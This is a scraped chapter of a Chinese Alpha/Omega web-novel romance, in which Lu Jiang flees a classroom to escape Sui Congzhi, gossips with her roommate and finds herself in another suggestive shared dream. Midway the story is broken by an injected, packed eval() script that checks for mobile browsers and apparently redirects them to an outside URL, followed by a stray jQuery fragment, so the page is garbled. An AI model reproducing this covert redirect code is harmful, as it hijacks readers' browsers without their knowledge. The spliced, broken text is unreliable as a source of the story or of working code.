风竹小说 > 都市言情 > 听到Alpha弟弟心声后 > 32. 谁的梦
    当年想让他嘴里蹦出来点别的东西难如登天;而如今,他心声一道道袭入耳帘想不听见都不知道往哪里躲。

    他还在怨怪她,“……什么都不和我说,阿辛。”

    “不理我。”

    “也不见我。”

    他头发在她颈上刺挠,“你怎么这么坏啊,阿辛。”

    她哪里坏?

    路姜面无表情。

    她对他再好不过。换个人知道他是这种当面一套背后一套的弟弟早跑了,她却不离不弃,多么感天动地的姐弟情呀。

    回想幼年,随从之生病发高烧是她首先发现,身上过敏起风团是她给叫医生,发现他睡不好她还会陪床。他晚上做噩梦惊醒,难道不是她抱住他?后来他失眠主动来找她,她也都接纳了;后来每次出门他都要跟着,她不也都默许了?

    她对他多好。

    她就是对他太好了。

    随从之又哪里好?

    路姜想了想,最终做出结论:他的好都建立在他是一个彻头彻尾的跟踪狂、巧言令色的骗子和表里不一的变态的基础上。

    通感的人把她越抱越紧。现在室内没有任何警报声,说明信息素的浓度在阈值内。

    可偏偏木质香无孔不入,鼻腔里全是那股味。

    对随从之而言,那些被他在心里勾勒出来的场景都只是幻梦,于是通感愈发过火。

    ——怎么出了这么多汗,阿辛?

    他困惑,抬手想抚去她额头弥漫的一层薄汗。

    ——心也跳得好快。

    耳朵贴近心脏,听她声声如擂鼓。

    艰难地捱过第一堂课,路姜豁然起身就想走。

    换座位。必须换座位。

    现在这个距离太近了,随从之的阻隔贴压根做不到把他的信息素完完整整收纳。

    然后被随从之一把拉住。

    起身的路姜目光下移,他手指虚圈着她的手腕,看上去几乎都不像用力的样子。可偏偏,她用力带回手,没成功。

    她不得不去看他。

    居高临下,那张脸也依然完美无缺。只是翡翠眼睛沉沉,似乎有些不悦的燥。可他目光在她额头探寻一圈,问出的第一个问题还是:“很热吗?”

    教室里空调温度开得很低,其实都有些冷。

    理论上她不应该发烫。

    随从之圈住她的手指就很凉,更衬得她肌肤滚烫。始作俑者一无所知,路姜更烦:“放开我。”

    “阿辛想去哪?”

    路姜已经做好决定要换座位了。笔记本电脑她可以先留给随从之,“我出去呼吸下新鲜空气。”

    也不算撒谎,她现在确实得去看看自然风景让自己放松下。

    明明教室里他信息素味道这么浓,为什么警报器不响?快来个人把他赶出去。

    路姜看他也不是在认真上课的样子,坏同学还这样干扰她这个好学生上课的心。

    还好当初他高中没跳级,不然路姜想不到自己那三年得多么痛苦地度过。

    “我陪阿辛一起。”随从之已经站起身。

    路姜赶忙伸出另一只手把他按下去:“不用。”她飞速改口,“我去上个厕所。”

    随从之启唇,那意思像是要说“我陪你去”。路姜打断,强调:“我自己、一个人去。你坐在这里别动。”

    “……”随从之瞥了眼她放桌上的笔记本,最终还是放开了她的手腕,乖乖点头。

    路姜将信将疑,但既然他有休战的意思,她也不想深究。

    从层层包围里走出教室,她真去了卫生间。

    有两个女生在讨论要不要逃课,理由是老师已经点过名,上的内容也没意思。

    她俩最终打不打算翘课路姜不知道,但是她翘课了。

    她周三是满课,翘了一节课也抽不出时间出门;最后满腹怨气地去操场绕圈了。

    半年前她还站操场上跟随从之说,可以去A国找他。

    现在就因为这点事从他所在的教室落荒而逃。

    路姜颇为感慨,果然感情是越挫越勇,有外部压力的时候就感觉有情可以抵万难。现在他回来了,就看他鼻子不是鼻子,嘴巴不是嘴巴。

    她给随从之发消息,让他帮忙把自己的笔记本送到自己下节课的教室去。

    随从之:^^这三天阿辛给我发的第一条消息。

    谁说的,上面的眠和1不是消息吗?

    禁止阴阳怪气。

    收了手机,路姜倒不担心随从之蹲守她。他主动给她发过自己的课表,他下午也有专业课要上。

    她唯一烦恼的是晚上会不会又做梦。

    思忖间,路姜看见操场远远走近来两个人。

    有点熟悉,路姜眯眼细看。

    ……是谷笙。

    和另外一个她不认识的女性。

    两个人并行在跑道上散步,有说有笑;路姜平常不带眼镜,粗略一眼看过去,举止倒不算过界。

    谷笙注意到她,主动冲她抬了抬手,以示招呼。

    路姜也给人点点头。

    她们相向而行,不多时就走到了对方跟前。

    谷笙不多解释,只是给她简单说了下身旁人的身份,“这位是我的学妹。”

    又给他学姐介绍她,“我女友的室友。”

    他学妹身形高挑,面容凌厉。后颈贴着阻隔贴,只看气质倒很像Alpha。

    但是如果是Alpha,她估计谷笙应当会强调她的特殊性别。

    路姜心里有了猜测,但并不多说,顺着谷笙的话冲人一笑。

    对方面上若有似无的笑看着比她真切些。

    晚上上完课回去,路姜就跟应答知会了声。

    她不多猜测,尽量不加个人感情地说了这件事。

    “我知道她,上周有人跟我说过。”应答表情纠结,却不像是因为担心谷笙。她欲言又止,“我都快忘了她了,但我最近想起来又觉得……你知道她的名字吗?”

    路姜摇头。

    “她也姓曾。”

    “哈?”

    她对上应答万分迟疑的视线,一个念头缓缓浮上心头。路姜下意识否认道:“不至于吧?我印象里曾尽青从来没提过自己有姊妹。”

    “我找人问的结果也是,虽然同姓但她俩跟人提起来家庭都说自己是独生子女。”应答捧着水杯,“所以我给她俩都推销了社团活动的演出门票。”

    “噢好,你心里有数——???”

    不对。等等。

    这两件事是怎么联系在一起的。

    对上路姜震惊眼神,应答羞涩一笑:“我有点好奇她俩要真是姊妹,公开场合见面得怎么装。”

    “……你可真是唯恐天下不乱。”

    “谢谢夸奖。”应答摆摆手,“不过她俩要真是一家人,还挺可怖的。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16882134|189148||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    路姜深以为然地附和。

    话题聊完,路姜开始收拾收拾准备睡觉。

    她前两天为了避免入梦,特地晚睡,没用;今天她决定换成早睡试试。

    也没用。

    一睁眼坐在白天空教室里的路姜有点恼火。

    随从之趴在她身边睡觉。

    明明是他的梦,为什么他还会先睡一会儿才起来?

    路姜心底快速闪过一丝费解,但下一秒袭来的就是挫败。

    她觉得这样太荒/淫了。

    白天也玩小游戏,晚上也玩小游戏。全日无休。

    一闭上眼就是随从之,一睁开眼就是上学上班。

    虽然她白天不困,但她真的有好好休息吗?

    怒火中烧,可随从之乖巧安分地在旁边安眠。

    Alpha弟弟十分恶劣,但侧颜实在静美。路姜看着看着,又被他外貌俘获,恨恨地在心里骂他。

    吸食人精气的外国妖精已经快把她吸干了。

    这种东西在国外叫什么来着?

    ——绿眼睛魅魔!下地狱去吧你!

    没处撒的火最后变成伸出去戳他脸颊的手。

    他两颊没什么软肉,但是一戳还是会有个逐渐恢复的凹坑。

    ……

    随从之在恢复意识之前,已经感觉到自己脸上被什么人用指尖不断戳弄。

    她的味道。

    伸出手去握住她的食指,随从之悠悠转醒。

    他先上下扫视了她一番。

    嗯,今天这个梦里她衣着齐整,就是白天穿的衬衣长裤。

    表情不善,可能是正在骂他。

    他于是探身,伸手把她抱过来,让她面对面坐在自己腿上——

    在她瞪大眼,用表情骂他“登徒子”的时候,随从之也有些疑惑。

    他怎么觉得自己的身体先于意识而动了。

    不过这样抱着也还不错。

    路姜屁股坐在他膝盖附近,他怀疑她被搁得不舒服,一直在动;所以他又揽着她往自己怀里塞了塞。

    他现在脑子还有些迷糊,没弄清情况;所以做好这一切后,也暂时没有动静。

    而被人拥着的路姜,两只长腿没能立刻找到位置放。阶梯教室的椅子又细又长的一条,而且离桌子很近,理论上压根不可能让两个人能面对面坐在一起。

    而现在,就在她疑惑自己腿可以放哪的瞬间,凳子好像又往外延伸了一些,让她可以用腿圈住随从之的腰身。

    虽然是从善如流,但路姜还是腹诽:不愧是梦,除了让人隐隐感觉到是在阶梯教室里,凳子和桌子不说是一模一样,只能说是毫不相干。果然一切设定为了口口服务。

    坐了会儿,她又觉得这个姿势不舒服;变成跪坐在他腿上,小腿跟他的大腿侧边挨着。这个姿势让她稍微比随从之视线高了一些。

    随从之一直乖乖的配合她动,堪称予取予求。

    按理来说这个梦不应该是他的吗?路姜俯视他,有些疑惑。

    他毫无动静,是单纯地想拥抱?终于来了个清水梦?

    还是说……她视线再往下移。

    然后被人捂住眼睛。

    随从之真矛盾。

    这也不给看,那也不给看。

    她刚刚被他往怀里塞的时候就能感觉到一点。路姜后知后觉,……该不会是一个要她主动的梦吧?